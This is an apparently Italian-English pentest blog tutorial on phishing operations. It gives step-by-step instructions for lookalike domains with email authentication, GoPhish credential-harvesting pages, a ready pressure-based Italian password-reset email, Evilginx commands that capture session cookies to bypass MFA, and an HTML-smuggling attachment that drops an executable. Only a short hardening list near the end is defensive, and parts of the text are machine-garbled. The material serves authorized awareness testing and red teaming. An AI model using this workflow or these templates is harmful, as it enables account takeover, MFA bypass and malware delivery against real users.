Phishing: Techniques, Types, and Defenses in 2026

Phishing explained technically: spear phishing, credential harvesting, OAuth phishing, MFA bypass, and practical defenses for businesses and users.
- Posted on 2026-02-27
- Reading time: 7 min
Phishing: Infrastructure, Tools, Payloads and Operational Campaigns #
Executive Summary — Phishing is the most widely used initial access vector in the real world—over 80% of breaches begin with an email. In pentesting, the phishing campaign tests the organization's human resilience: how many users click a link, how many enter credentials, how many open a malicious attachment. But an effective phishing campaign requires much more than "sending an email with a link": it requires a credible infrastructure (domain, TLS certificate, SPF/DKIM/DMARC), convincing templates, payloads that evade email filters, and a landing page that captures credentials or executes code. This article covers the entire workflow—from domain preparation to post-exploitation.
TL;DR
- Infrastructure is 70% of success: domain similar to the target, SPF/DKIM configured, TLS certificate, clean IP reputation
- GoPhish for campaign management (sending, tracking, metrics), Evilginx for credential harvesting with MFA bypass
- The pretext (the story) is more important than the tool — credible email > perfect link
## Perché il Phishing nel Pentest
Il phishing nel pentest serve a due obiettivi distinti:
1. **Assessment della consapevolezza** (awareness test): misuri quanti utenti cadono — il risultato è una metrica per il cliente
2. **Initial access** (red team): ottieni credenziali valide o esecuzione di codice per entrare nella rete — il phishing è solo il primo step della kill chain
L'approccio è diverso: nell'awareness test mandi a 500 utenti e misuri le percentuali. Nel red team mandi a 5 utenti selezionati (spear phishing) e ti basta che uno cada.
## 1. Preparazione dell'Infrastruttura
L'infrastruttura è la base. Un'email phishing da un dominio con cattiva reputazione, senza SPF e senza DKIM, finisce in spam. L'infrastruttura richiede preparazione — idealmente settimane prima della campagna.
### DominioObjective: Domain similar to the target to deceive the user
Similarity techniques:
- Typosquatting: corp-local.com (instead of corp.local)
- Homoglyph: córp.local (accent), corp1ocal.com (1 instead of l)
- TLD swaps: corp.net, corp.io, corp.cloud
- Subdomain: corp.local.attacker.com
- Keywords: corp-security.com, corp-helpdesk.com, corp-update.com
Tool to find available domains:
- dnstwist: Generate variants and check availability
- urlcrazy: similar, more variations
```bash
# dnstwist — genera varianti del dominio target
dnstwist --registered corp.localOutput:
*original corp.local
addition corp-local.com A:1.2.3.4 (registrato!)
bitsquatting corplocal.com - (disponibile)
homoglyph córp.local - (disponibile)
hyphenation c-orp.local - (disponibile)
insertion corpp.local - (disponibile)
omission corp.locl - (disponibile)# Registra il dominio scelto
# Usa un registrar che non richiede verifica immediata
# Aspetta almeno 1-2 settimane per "invecchiare" il dominio (age reputation)DNS and Email Authentication #
# SPF — autorizza il tuo server a inviare email per il dominio
# Record TXT su corp-security.com:
"v=spf1 ip4:YOUR_SERVER_IP ~all"
# DKIM — firma digitale sulle email
# Genera chiave DKIM:
opendkim-genkey -s mail -d corp-security.com
# Aggiungi il record TXT: mail._domainkey.corp-security.com
# DMARC — policy di allineamento
# Record TXT: _dmarc.corp-security.com
"v=DMARC1; p=none"Why it matters: Without SPF/DKIM/DMARC, the target email's email servers (Office 365, Google Workspace) will flag the email as suspicious or mark it as spam. With SPF+DKIM configured correctly, the email appears legitimate.
Sending server #
# Opzione 1: VPS con Postfix
apt install postfix opendkim opendkim-tools
# Configura Postfix + OpenDKIM
# Opzione 2: Servizio SMTP (SendGrid, Mailgun)
# Pro: reputazione IP già buona
# Contro: possono bloccare campagne phishing
# Opzione 3: Office 365 / Google Workspace con il tuo dominio
# Pro: massima deliverability
# Contro: costo, possono bloccare contenuti sospettiTLS certificate for the landing page #
# Let's Encrypt (gratuito)
certbot certonly --standalone -d phish.corp-security.comInfrastructure Checklist #
□ Dominio registrato (1-2 settimane di età)
□ SPF record configurato
□ DKIM configurato e funzionante
□ DMARC configurato
□ Certificato TLS sulla landing page
□ Reverse DNS (PTR) configurato sul server
□ IP non in blacklist (check: mxtoolbox.com)
□ Test email: manda a un tuo account e verifica che non vada in spam2. Tools — GoPhish, Evilginx and Beyond #
GoPhish — Campaign Management #
GoPhish is the standard framework for phishing campaigns. It manages email template creation, landing pages, sending, tracking (openers, clickers, and login credentials), metrics, and reporting.
# Installazione
wget https://github.com/gophish/gophish/releases/latest/download/gophish-linux-64bit.zip
unzip gophish-linux-64bit.zip
chmod +x gophish
./gophish
# Dashboard: https://localhost:3333
# Credenziali iniziali nei log di avvioGoPhish Setup:
1. Sending Profile: configura il server SMTP (Postfix, SendGrid, etc)
- Host: smtp.corp-security.com:587
- Username/Password
- From: it-support@corp-security.com
2. Landing Page: la pagina dove l'utente atterra dopo il click
- Import da URL: clona la pagina di login del target
- Capture Credentials: abilita cattura username/password
- Redirect: dopo il submit, redirige alla pagina vera del target
3. Email Template: il corpo dell'email
- HTML con tracking pixel ({{.Tracker}})
- Link alla landing page ({{.URL}})
- Personalizzazione: {{.FirstName}}, {{.LastName}}, {{.Email}}
4. Users & Groups: importa la lista di target (CSV)
5. Campaign: combina tutto e programma l'invioEffective email template:
Subject: [Azione richiesta] Aggiornamento password aziendale
<p>Gentile {{.FirstName}},</p>
<p>Il team IT ha implementato un aggiornamento di sicurezza che richiede
la verifica delle credenziali di accesso entro 48 ore.</p>
<p>Per completare la verifica, accedi al portale di aggiornamento:</p>
<p><a href="{{.URL}}">Verifica le tue credenziali</a></p>
<p>Se non completi la verifica entro il termine, il tuo account
verrà temporaneamente sospeso.</p>
<p>Cordiali saluti,<br>
Supporto IT<br>
Corp Security Team</p>
{{.Tracker}}Evilginx — Bypass MFA with Reverse Proxy #
Evilginx is a reverse proxy that sits between the victim and the legitimate site. It captures not only the credentials but also the session cookie , bypassing MFA (2FA, OTP, FIDO in certain scenarios).
# Installazione
go install github.com/kgretzky/evilginx2@latest
# Configurazione
evilginx2 -p ./phishlets
# Nella shell Evilginx:
config domain corp-security.com
config ip YOUR_SERVER_IP
# Carica un phishlet (template per un sito specifico)
phishlets hostname office365 phish.corp-security.com
phishlets enable office365
# Crea un lure (link da inviare)
lures create office365
lures get-url 0
# Output: https://phish.corp-security.com/abc123How does it work:
1. Vittima clicca il link → arriva su Evilginx (tuo server)
2. Evilginx mostra la pagina di login REALE di Office 365 (proxy)
3. Vittima inserisce username e password → Evilginx cattura
4. Vittima completa MFA (OTP, push) → il token arriva a Evilginx
5. Evilginx cattura il SESSION COOKIE → bypass MFA completo
6. Tu usi il cookie per accedere all'account senza re-autenticarti# Nella shell Evilginx, dopo che la vittima si autentica:
sessions
sessions 1
# Output:
# Username: j.smith@corp.local
# Password: Summer2026!
# Cookies: [session cookies completi]
# Token: eyJ... (JWT se presente)What to do next: Import the session cookie into your browser (with Cookie Editor or via DevTools) and you're authenticated as the victim—no password or MFA required. For post-exploitation with AD credentials , test the same credentials on VPN, SMB, and other internal services.
Tool comparison #
| tool | Type | MFA Bypass | Complexity | Use |
|---|---|---|---|---|
| GoPhish | Campaign Manager | No | Bassa | Awareness test, credential harvest |
| Evilginx | Reverse proxy | Yes | Media | Red team, MFA bypass |
| Modlishka | Reverse proxy | Yes | Media | Alternative to Evilginx |
| SocialFish | Credential harvest | No | Bassa | Quick credential page |
| King Phisher | Campaign Manager | No | Media | Alternative to GoPhish |
| SET | Toolkit | No | Bassa | Quick attacks, clone sites |
3. Types of Phishing #
Credential Harvesting (the most common) #
The email contains a link to a landing page that mimics the target's login portal. The user enters their credentials, and you capture them.
Most effective target pages: Office 365 login, Google Workspace, corporate VPN, HR/payroll portal, IT helpdesk portal.
Payload Delivery (attachment or download) #
The email contains a malicious attachment or a link to a downloadable file. The goal is to execute code on the user's workstation.
Common payloads:
| Payload | Format | Evasion |
|---|---|---|
| Macro Office | .docm, .xlsm | Requires “Enable Content” |
| HTA | .hta | Run by mshta.exe |
| ISO/IMG | .iso, .img | Bypassed Mark-of-the-Web (pre-2023) |
| OneNote | .one | Embedded attachment (patched 2023) |
| LNK | .lnk (in .zip) | Shortcut that runs PowerShell |
| HTML Smuggling | .html | JavaScript decrypts the payload in the browser |
HTML Smuggling — Most Effective in 2025-2026:
<!-- Allegato .html che "smuggla" un file .exe -->
<html>
<script>
var payload = "TVqQ..."; // Base64 del .exe
var bytes = atob(payload);
var array = new Uint8Array(bytes.length);
for (var i = 0; i < bytes.length; i++) array[i] = bytes.charCodeAt(i);
var blob = new Blob([array], {type: "application/octet-stream"});
var link = document.createElement("a");
link.href = URL.createObjectURL(blob);
link.download = "Report_Q4_2025.exe";
link.click();
</script>
<body>Downloading report...</body>
</html>Reading: The user receives an .html file as an attachment. They open it in their browser. The JavaScript decodes the base64 payload and triggers the download of an .exe file. It bypasses many email filters because the .html file itself isn't malicious—the payload is encrypted.
QR Code Phishing (Quishing) #
L'email contiene un QR code invece di un link cliccabile.
Il QR code punta alla landing page phishing.
Perché funziona: i filtri email non analizzano le immagini QR.
L'utente scansiona con il telefono → atterra sulla pagina di phishing.4. Pretext — The Story That Makes Everything Work #
The pretext is the email's narrative—the reason the user should click. A weak pretext renders even the best infrastructure useless.
More effective pretexts (data from real campaigns) #
| Pretext | Typical click rate | Because it works |
|---|---|---|
| Password expiring | 30-40% | Emergency + family |
| Shared document (OneDrive/GDrive) | 25-35% | Common in a corporate environment |
| Package being delivered / invoice | 20-30% | Universal |
| HR Policy Update | 20-30% | Relevant for everyone |
| IT security alert | 15-25% | Credible, urgent |
| Bonus/payroll update | 25-40% | Economic interest |
| Teams/Zoom meeting invitation | 15-25% | Daily |
| Lost voice message | 10-20% | Curiosity |
Principles of a good pretext #
1. URGENZA: "entro 24 ore", "azione immediata richiesta"
2. AUTORITÀ: da IT, HR, management, fornitore noto
3. FAMILIARITÀ: usa il formato reale delle email del target (scoprilo in OSINT)
4. RILEVANZA: collegato al lavoro dell'utente (non generico)
5. CONSEGUENZA: "il tuo account verrà bloccato", "non riceverai il prossimo stipendio"OSINT to customize the pretext #
# LinkedIn: ruoli, nomi manager, struttura team
# Email formato: prova j.smith@, john.smith@, jsmith@ con hunter.io o phonebook.cz
# Sito web: notizie aziendali, eventi, partnership (usali nel pretext)
# Documenti pubblici: cerca con Google dork il formato email nelle mail interneFor comprehensive OSINT techniques, the Google Hacking Database at Exploit-DB has hundreds of dorks useful for pre-phishing recon.
5. Metrics and Reporting #
What to measure #
| Metric | Meaning |
|---|---|
| Email Sent | Total emails sent |
| Email Opened | Who opened the email (tracking pixel) |
| Link Clicked | Who clicked the link |
| Credentials Submitted | Who entered the credentials |
| Payload Executed | Who made the attachment? |
| Reported | Who reported the email as phishing (positive metric) |
Calculation #
Open rate: aperture / inviate × 100
Click rate: click / inviate × 100
Submit rate: submit / inviate × 100
Report rate: segnalazioni / inviate × 100
Esempio:
500 inviate → 350 aperte (70%) → 120 click (24%) → 45 submit (9%) → 8 reported (1.6%)Industry Benchmark #
Click rate medio: 15-25% (primo tentativo su organizzazione mai testata)
Click rate dopo training: 5-10%
Submit rate medio: 5-15%
Report rate target: >20% (buona security awareness)6. Final Cheat Sheet #
Infrastructure #
| Action | Tool/Command |
|---|---|
| Domain recon | dnstwist --registered target.com |
| SPF | TXT record: v=spf1 ip4:IP ~all |
| DKIM | opendkim-genkey -s mail -d domain.com |
| TLS cert | certbot certonly --standalone -d domain.com |
| Test deliverability | mail-tester.com (send test email) |
tool #
| Action | tool |
|---|---|
| Campaign Manager | GoPhish |
| MFA proxy bypass | Evilginx, Modlishka |
| Quick clone | SET setoolkit → 1 → 2 → 3 |
| QR generation | Python QR Code Library |
| Payload | HTML Smuggling, Office Macros |
Workflow #
1. OSINT sul target (formato email, nomi, ruoli)
2. Registra dominio (aspetta 1-2 settimane)
3. Configura infrastruttura (SPF/DKIM/DMARC/TLS)
4. Crea template email + landing page
5. Importa target list
6. Testa su te stesso
7. Lancia campagna
8. Monitora metriche in tempo reale
9. Report con raccomandazioniHardening (customer recommendations) #
- Regular security awareness training
- Quarterly phishing simulations
- Phishing-resistant MFA (FIDO2/WebAuthn — Evilginx doesn't bypass it)
- Advanced email filters (attachment sandboxing, URL rewriting)
- Easy phishing reporting (button in Outlook)
- DMARC enforcement (p=reject)
Reference:
- MITRE ATT&CK T1566 → https://attack.mitre.org/techniques/T1566/
- GoPhish documentation → https://getgophish.com/documentation/
- Evilginx documentation → https://github.com/kgretzky/evilginx2
⚠️ Disclaimer: The information in this article is provided solely for educational purposes and for cybersecurity activities in authorized environments. Any unauthorized use is illegal and is not the responsibility of the author.
🎯 Do you really want to improve? If you want to level up with a practical and direct path → personalized 1:1 training.
🏢 If you have a company , you can test the real-world security of your infrastructure with controlled simulations and professional assessments.
💻 Go here: 👉 https://hackita.it/servizi
❤️ Support the HackIta project If this content helps you, you can support the project to keep it active and always updated.








